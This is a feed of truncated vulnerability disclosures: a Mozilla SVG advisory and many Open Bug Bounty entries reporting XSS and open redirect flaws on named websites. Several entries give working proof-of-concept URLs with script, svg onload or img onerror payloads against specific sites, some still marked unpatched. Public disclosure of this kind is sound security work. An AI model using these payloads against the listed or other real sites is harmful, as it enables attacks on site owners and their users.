Mozilla: Restricted external resources can be loaded by SVG images through data URLs (MFSA 2016-94, MFSA 2016-95)

External resources that should be blocked when loaded by SVG images can bypass security restrictions through the use of "data:" URLs. This could allow for cross-domain data leakage. This vulnerability affects Firefox 50.1, Firefox ESR 45.6, and Thunderbird 45.6...

mail.redlandenergy.com XSS vulnerability

Open Bug Bounty ID: OBB-193082 Description| Value ---|--- Affected Website:| mail.redlandenergy.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

mail.flagshiprehab.com XSS vulnerability

Open Bug Bounty ID: OBB-193065 Description| Value ---|--- Affected Website:| mail.flagshiprehab.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

gotolectures.com XSS vulnerability

Vulnerable URL: http://www.gotolectures.com/login.php?msg=%22%22/%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13911852 VIP...

amazon.in Open Redirect vulnerability

Vulnerable URL: https://www.amazon.in/gp/navigation/redirect%3Fie%3DUTF8%26url%3Dhttp://openbugbounty.org=1=en=clnk Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 66 VIP website status:| Yes Check...

nycveteransalliance.org Open Redirect vulnerability

Vulnerable URL: http://www.nycveteransalliance.org/r?u=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 12:06 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 7957419 VIP...

academic.lspr.edu XSS vulnerability

Vulnerable URL: http://academic.lspr.edu/new/authen.php?om=prompt'OPENBUGBOUNTY'...

hostgator.com XSS vulnerability

Open Bug Bounty ID: OBB-179381 Description| Value ---|--- Affected Website:| hostgator.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat She...

tracking.globalviewng.com XSS vulnerability

Vulnerable URL: http://tracking.globalviewng.com/tracking/reportspam?msgid=dR65qo6e22hk2T5hTYwCpw2=" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

dress-for-less.ie XSS vulnerability

Vulnerable URL: http://www.dress-for-less.ie/tmpl/shop.tmpl?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 10:38 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

optimum.custhelp.com XSS vulnerability

Open Bug Bounty ID: OBB-173240 Description| Value ---|--- Affected Website:| optimum.custhelp.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

carconnection1.com XSS vulnerability

Vulnerable URL: http://www.carconnection1.com/used-vehicles/action=imajaxcall=getresults=%22%3E%3Cscript%3Ealert%28%2Fxssposed%2F%29%3C%2Fscript%3E=1allfilters=false&postid=5 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

planet.weizenkeim.org XSS vulnerability

Vulnerable URL: http://planet.weizenkeim.org/wp-content/themes/weizenkeim/bild.php?filename=/bilder/2009/02/244princeofwrath.jpg=a%20m%3C/title%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=and%20scientific%20novelties Details: Description| Value ---|--- Patched:| Yes, at 20.03.2017...

zend.com XSS vulnerability

Vulnerable URL: http://www.zend.com/en/solutions/ibm-power-linux?q="alert/OPENBUGBOUNTY/...

herzapfelhof.de XSS vulnerability

Open Bug Bounty ID: OBB-165896 Description| Value ---|--- Affected Website:| herzapfelhof.de Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Tilt - Certificates or keys found, Exported components, External URLs vulnerabilities

HackApp vulnerability scanner discovered that application Tilt published at the 'play' market has multiple vulnerabilities...

espace.ae XSS vulnerability

Vulnerable URL:...

frenchpropertylinks.com XSS vulnerability

Vulnerable URL: http://www.frenchpropertylinks.com/buying.asp?rr=MP=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3EHSE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 317265 VIP...

triodafne.com XSS vulnerability

Vulnerable URL: http://www.triodafne.com/mediaelement/build/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

fordwingmirror.co.uk XSS vulnerability

Vulnerable URL: http://fordwingmirror.co.uk/tagproducts.php?idtag=%27%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E=en Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 23:19 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...